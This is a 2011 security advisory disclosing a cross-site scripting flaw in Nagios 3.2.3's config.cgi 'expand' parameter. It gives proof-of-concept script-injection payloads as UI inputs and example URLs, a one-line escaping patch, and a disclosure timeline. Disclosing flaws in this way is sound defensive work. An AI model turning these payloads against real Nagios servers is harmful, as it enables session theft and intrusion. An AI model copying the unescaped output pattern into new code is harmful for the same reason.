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Cross-Site Scripting vulnerability in Nagios



Advisory:           Cross-Site Scripting vulnerability in Nagios
Advisory ID:        SSCHADV2011-006
Author:             Stefan Schurtz
Affected Software:  Successfully tested on: nagios 3.2.3
Vendor URL:         http://www.nagios.org
Vendor Status:      informed
CVE-ID:             -

==========================
Vulnerability Description:
==========================

This is a Cross-Site Scripting vulnerability

==================
Technical Details:
==================

No input validation for "expand" in config.c(gi)

View Config -> Command Expansion -> To expand -> <script>alert(String.fromCharCode(88,83,83))</script>
View Config -> Command Expansion -> To expand -> <body onload=alert(666)>

or 

http://www.example.com/nagios/cgi-bin/config.cgi?type=command&expand=<script>alert(String.fromCharCode(88,83,83))</script>
http://www.example.com/nagios/cgi-bin/config.cgi?type=command&expand=<body onload=alert(666)>

=========
Solution:
=========

in config.c 

< printf("<TR CLASS='dataEven'><TD CLASS='dataEven'>To expand:</TD><TD CLASS='dataEven'>%s",command_args[0]);

> printf("<TR CLASS='dataEven'><TD CLASS='dataEven'>To expand:</TD><TD CLASS='dataEven'>%s",escape_string(command_args[0]));

====================
Disclosure Timeline:
====================

01-Jun-2011 - informed developers
01-Jun-2011 - Release date of this security advisory
01-Jun-2011 - post on BugTraq and Full-disclosure

========
Credits:
========

Vulnerability found and advisory written by Stefan Schurtz.

===========
References:
===========

http://www.nagios.org        
http://tracker.nagios.org/view.php?id=224
http://www.rul3z.de/advisories/SSCHADV2011-006.txt